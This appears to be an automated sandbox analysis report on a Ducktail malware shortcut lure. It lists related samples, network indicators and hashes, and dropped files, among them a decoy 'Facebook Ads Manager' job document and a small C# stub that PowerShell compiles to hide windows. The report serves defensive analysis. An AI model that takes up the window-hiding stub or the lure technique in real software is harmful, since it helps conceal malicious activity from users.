ENZUINC-US	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.203.163.1
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.202.51.86
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.89.70.126
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	104.202.0.10

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	print preview.js	Get hash	malicious	FormBook	Browse	104.21.1.51
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\myRdpService.exe	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8356553670736186
Encrypted:	false
SSDEEP:	48:uiTrlKxsxxAxl9Il8ugnMMGFOBdvXfvOK4VS7MECgvd1rc:vsY6/GEBN1ySI7g4
MD5:	7CEDBD2D041D37078C2836BDABB3C303
SHA1:	108D7725B99416283B4DFE92CB52C7DB9057CEFC
SHA-256:	0C7298EAC6AF57C27E4853B098D5F0E1BFA49DFE588EC80824A3BFCB85E26101
SHA-512:	7A715799662CB366DA8BC7153B340041DC50F759AC6F2D709C8CD0DE0CDCF8B36EAFA3431EA482C17CED2618CE9AC5A94DE04FEFDF8C8132593C80810B885AF2
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.B.u.Y.X.s.x.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.o.S.t.I.J.K.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	3.996142356371256
Encrypted:	false
SSDEEP:	96:DY6fQ+elk6Vr72UDvHDFT9wYqdGz7v8LCS+tPS:DpQ+ehJ72uHDJuG3k+S+tK
MD5:	A26B3DFA71610718FCCAB02AED25D2A6
SHA1:	57346EF4AD709E6859C96AB6DF3A9496371B2072
SHA-256:	B4A69E20E09ECACE0C838E2B96C8B35B6C293FC6B82F343550482C54652271AB
SHA-512:	2323A9D271A2AC38218CBF0CBE4053F8FB6831AED4892D6A034EB7EE56AA4EC82696A93A075C6D7D9ED695EB73F8370CE1D1AE197F8C6CA920A51868B33B71AC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".r.m.S.s.R.M.R.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.o.S.t.I.J.K.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{517C84A5-45D8-4E73-B513-C114569ADCCD}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12982
Entropy (8bit):	3.211559326051109
Encrypted:	false
SSDEEP:	192:gTPP97qDzkoAHbWJdYYpFqpNXr0RwsyJXKgYuRk8wP4BdCxIxCp+:gTPP9mDzk97+dvpF72n3RqPUCxI0p+
MD5:	1667E0CAABA923BDCFF7954F9C797EAA
SHA1:	6F09302E1D04BC1957F49F5EE76A4CFA0F258059
SHA-256:	BB70E66EE5A8FE588613FFC50F726C913CB5C554EC3E3E1E4471DE4D8AC19F4A
SHA-512:	E764F0FD30060EE2A2BDEB8EEE43AAFCBC781EDF5C8C2E26869D2037716F0DDCFADAF53F2D8ED364E816D0D26B013D5BFEB494761CF43A435A272FA884DBB592
Malicious:	false
Preview:	..J.o.b. .T.i.t.l.e.:. .R.e.m.o.t.e. .F.a.c.e.b.o.o.k. .A.d.s. .M.a.n.a.g.e.r. .. .M.a.n.a.g.e. .A.d. .C.a.m.p.a.i.g.n.s. .w.i.t.h. .C.o.m.p.a.n.y. .C.r.e.d.i.t. .C.a.r.d.,. .M.o.n.t.h.l.y. .B.u.d.g.e.t. .U.p. .t.o. .$.1. .M.i.l.l.i.o.n...............................................................................................................................................................................................................................................................................................................^...`.......Z...\...................n...p...................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{C16E52D2-4477-4605-B13E-0720F8960B26}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	20051
Entropy (8bit):	5.024314565257015
Encrypted:	false
SSDEEP:	384:Prib43WKmVoGIpN6KQkj2Fkjh4iUxDhQIe3zUpX+OdBNNXp5yvOjJlYoaYpib47:PRWKmV3IpNBQkj2Uh4iUxDhi3zUpX+Oh
MD5:	41A553659658912065E8C36A0986B3FC
SHA1:	4375322340AD922F4527F413F686054324D4A839
SHA-256:	BF150150AC83E00846E4165E426DD8D3D0B5B357F1BE43168DBB3073EDE74B01
SHA-512:	FD5DE346A92BEFF1789369FAEB2F28F4D900288CBEABBC3ADD41E6AB7C693ABA34024441FE0127EF5286F47EE8392C09324B3E1913B0B27392FB2A0683E506A5
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:NlllulnlXlZ:NllUn1
MD5:	78249F9AAB4C25E359EAEDABBC9F9AA0
SHA1:	C317041766BE2C84370F308754D95C23E0595836
SHA-256:	370AB1F1D7A95FAB7E511C0FA88D7A645D743210D9B2BE063219CBFA83587A51
SHA-512:	05481DD5FF903C08F67CB50E1B0FC1871A684C6A136469AF6F01FB9604815EB7932D97BBB826BF308666BE44154BB071854C9F0BA90DFABCF1A03795362391E1
Malicious:	false
Preview:	@...e...............................X................@..........

C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	244
Entropy (8bit):	4.952945910145069
Encrypted:	false
SSDEEP:	6:V/DssSuVY/so68SRvoSoODnso68SRaqK4Li:V/D9PY/REvoOnREfe
MD5:	6E7BC02C23E28738F9898185137720DB
SHA1:	F0450E92B0D01C2A0D23DEF93299FFD1512FAB46
SHA-256:	80A682DC3D4FEF7A23471B441BBA682648D7373DEB9889E0017E3BBBA43754E7
SHA-512:	FF24CEDAD3619B0D2379F668A06CE36A5DAFF2EBC2B11FCF8BD960C3272D99F5F77EDCA893701A6232DC9EB07794C8D2ABC3FD802CE7E5638EE87291DE1AAEFB
Malicious:	false
Preview:	.using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("user32.dll")] public static extern int ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow(); }

C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.2607826269252405
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2CN23f2ECZzxs7+AEszICN23f2ECE:p37Lvkmb6KmlCZWZE7lCE
MD5:	A8F0F472B2219FFE156C631E59C0AB08
SHA1:	CA04D5F82C890244C70D47F47C1A752ECA126FE6
SHA-256:	9FB59167BE0D57D63595F71D378EC2154BDAE7973AF1D566F4070EB5546EA8DB
SHA-512:	1B54A3B3F0900447B06B10FB8A1D3172F021F16E9CFA012FC9E7AFA19D201D143E9CB09418EB8792C2FCDB09D3144CF0206A57AB4FDB9B8B6257955449520A42
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.0.cs"

C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.7950898618603435
Encrypted:	false
SSDEEP:	24:etGS95WJ2JJi8R86QMBT6etkZfXmZO3+WI+ycuZhNeakSGPNnqI:69XNR9Z6RJXmI3l1ulea36qI
MD5:	04D195D337B4CF8DE514E4E11F24CAAC
SHA1:	485335E20B4D2A6954FF90E44D04D1EED5EC3101
SHA-256:	D4DD6E16716036E186A46878F38E439948B77CFA0F44CC94346F34FD642366D2
SHA-512:	8B667ECBAD3B7240B8816C7C463E0935EC71878BF069225E301F69ED6DAF30DD0C6217F455DA3E96E56064FE65A99EC3058DFF703D8A0E8C06DA4FFE69FAD720
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...V~Yg...........!.................#... ...@....... ....................................@.................................P#..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................-.&.....g.....g.......................................... 4............ ?.....P ......S.........Y.....^...S.....S...!.S.....S.......".....+.......4.......?..................................................<Module

C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
Category:	modified
Size (bytes):	872
Entropy (8bit):	5.324877372999113
Encrypted:	false
SSDEEP:	24:KSId3ka6Kmo+E7oRKax5DqBVKVrdFAMBJTH:dkka6PxE7oK2DcVKdBJj
MD5:	66D379B2EB68E8B6751AEA496A228830
SHA1:	46B3D305DE5F9F207668924C6FC830DA25F1600A
SHA-256:	EA3B5DC814ADB1863BB2B11338AB797886B2B410E053FD54B0B966616C74CC69
SHA-512:	FB751BD2DD4796822C141D43184612E9772B9552587179319262A8E65FA49ADD9ABC5F32BE787FEFDC29853F5EC78A019BFB5B5E9E37CB0A20816E82470C00DF
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\5v0ewpyz\CSC3197E2CC644CF2871AE1653AC92A50.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1108998483170387
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryM7ak7Ynqqt0PN5Dlq5J:+RI+ycuZhNeakSGPNnqX
MD5:	ABF4FB42A20BA20D8B980B13DDABCA20
SHA1:	1E2EC19937DFBE8699073664B2F3E0A6BD12BD16
SHA-256:	2BE801628B1BB9F43A83D7DE17AC7A97DCD3B59049E53A151163D0845422100A
SHA-512:	19456F799541DF15C2F5B789376D9CF545A9B1801CB066E819BB92764DD10F8E1AA15BF0F7682DE24C47875C115AB9AF38071E411E6D7AE45F51F6E1B40C39C8
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.v.0.e.w.p.y.z...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...5.v.0.e.w.p.y.z...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733918306003685400_BE4FC1A7-7851-4344-A3F3-E8D3F16405BC.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with very long lines (28368), with CRLF line terminators
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.176059504618389
Encrypted:	false
SSDEEP:	3072:CwMzqczFGXOxwd/E/AjzmPojGHVR/UJ91KT6e:wqcO7KGe
MD5:	D1F71C9E7B6BBD2E2014E7980A44AE30
SHA1:	D1DF934A9C5DE135772A4AEB4B15E34857C6664F
SHA-256:	A7A77F88A140C12808319FB969D8363AC9F497E7A1AE5672110ED52D6ACE1062
SHA-512:	B7052AE9FE97E1DF37B1170604C7124E1856ACB10807613ECF8C522836E658FB95CB82A635FC410277B29E1306665998EDD724EFD61F4BDC05C5B254D5F40C70
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..12/11/2024 11:58:26.029.WINWORD (0x1E30).0x20C4.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Experimentation.FeatureQueryBatched","Flags":33777005812056321,"InternalSequenceNumber":29,"Time":"2024-12-11T11:58:26.029Z","Data.Sequence":0,"Data.Count":128,"Data.Features":"[ { \"ID\" : 0, \"N\" : \"Microsoft.Office.Diagnostics.WerCrashDLLEnabled\", \"V\" : true, \"S\" : 11, \"P\" : 0, \"T\" : \"2024-12-11T11:58:25.7328367Z\", \"C\" : \"39\", \"Q\" : 322.0, \"M\" : 0, \"F\" : 5 }, { \"ID\" : 0, \"N\" : \"Microsoft.Office.Telemetry.TrackCPSWrites\", \"V\" : false, \"S\" : 1, \"P\" : 0, \"T\" : \"2024-12-11T11:58:25.7328367Z\", \"C\" : \"33\", \"Q\" : 0.0, \"M\" : 0, \"F\" : 5 }, { \"ID\" : 0, \"N\" : \"Microsoft.Office.Telemetry.CPSMaxWrites\", \"V\" : 2, \"S\" : 1, \"P\" : 0, \"T\" : \"2024-12-11T11:58:25.7328367Z\", \"C\" : \"33\", \"Q\" : 5.0, \"M\" : 0, \"F\" : 5 }, { \"ID\" : 0, \"N\" :

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733918306003962300_BE4FC1A7-7851-4344-A3F3-E8D3F16405BC.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	2C7AB85A893283E98C931E9511ADD182
SHA1:	3B4417FC421CEE30A9AD0FD9319220A8DAE32DA2
SHA-256:	080ACF35A507AC9849CFCBA47DC2AD83E01B75663A516279C8B9D243B719643E
SHA-512:	7E208B53E5C541B23906EF8ED8F5E12E4F1B470FBD0D3E907B1FC0C0B8D78EB1BBFB5A77DCFD9535ACF6FA47F4AB956D188B770352C13B0AB7E0160690BAE896
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	4613
Entropy (8bit):	7.737727511212856
Encrypted:	false
SSDEEP:	96:MxEjTyPmOtE19oVKitqb37Xbm6HiLhOncYD8xLB83D44OXL:MghMVjtqT7Xbm62OcBxd83DJOb
MD5:	DB15D3AE0D25D001D6F1DD25DEDC408F
SHA1:	EA533B87BBD997D199565113B611C7F5A234F326
SHA-256:	32A3177BA7CF8F4F20FB8C04DE96C425BE3E5FC68D473A64ADDCC189B279767C
SHA-512:	4B229B0D27604F062EB184E38CDFCAEDB61E2B8B4F7B4A5386F3C3D82309956E183EC1746BB8BC86EA8AAB949B5181F659EA4E506329CFE60D7CD122C7AC6EFD
Malicious:	false
Preview:	PK.........~\|Y................_rels/.rels..;..0.D.bmO6P ..AHi.p...8Q.l.=.(........y...(..Y...FV:5Y...7.h.E....#...9.).#b.#..........)...9.M.+.=.O.....AS.pwA.r.j."....u...z....I....Q......W3..PK..O..<........PK.........~\|Y................word/_rels/document.xml.rels.....0.E.%..u!"M....R? &..6..T...........0yyU#......$..Z.9...9..P.y.#......$F.g.`w.z..>1.u..)...:j.8...:M7.v...4.u...I..Ex...T..4..d.jf..PM....FL.u...O...E.yD.n....+....PK..............PK.........~\|Y................word/document.xml.]_o....*...6.....Z.....>.i.@v..#..i.s.=...y.w.7.'...+....trp..........p8...Z..X'...<..O.haJ...O...N..\.\.......W?n/J#B..3.@.....8;s.....i@..5......5....ku.......K=....l.g...h.k......v.3..n/.......II....0ag...%^.r]..^...u%....O..._.^.pu9.v..&`.....tB....\Q?.v....>.w..I....\v?.Q..#..M....x..]c....yx.}....T......B(.66:Kov......n/"P...o,8......Y.[..\........Kc..U..{...,..\|...E....;..E..n.\k........[6.PJ.wmY..(.J..u(....y.=g.q.8.............B....

C:\Users\user\AppData\Local\Temp\RESE1E8.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Wed Dec 11 11:58:14 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	4.012000016825243
Encrypted:	false
SSDEEP:	24:H3GFzW9nuxG9HiwK1mNII+ycuZhNeakSGPNnqS2d:XhuxG9ZK1mu1ulea36qSG
MD5:	2851D53A0F4D530D5F29583DD3904CE6
SHA1:	2CBDBC63844086F1F00E68AED574384178113503
SHA-256:	8DE59A2A0C79D124BC69B6BAF67CCB568B498BD51FE6C38B2D9E3A7920D6B911
SHA-512:	806340C307E687C9F89AAD353AC2DA1A299DE2286DFA13E542BEDBB98F8C0B20025A96B0CB3DDD30945ED56142891D386DF0DC77D4C81F96ED7B50F3987A67C3
Malicious:	false
Preview:	L...V~Yg.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........S....c:\Users\user\AppData\Local\Temp\5v0ewpyz\CSC3197E2CC644CF2871AE1653AC92A50.TMP...................B.......... ..........5.......C:\Users\user\AppData\Local\Temp\RESE1E8.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.v.0.e.w.p.y.z...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wpwhm5a.xim.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4xrjf25k.4a5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
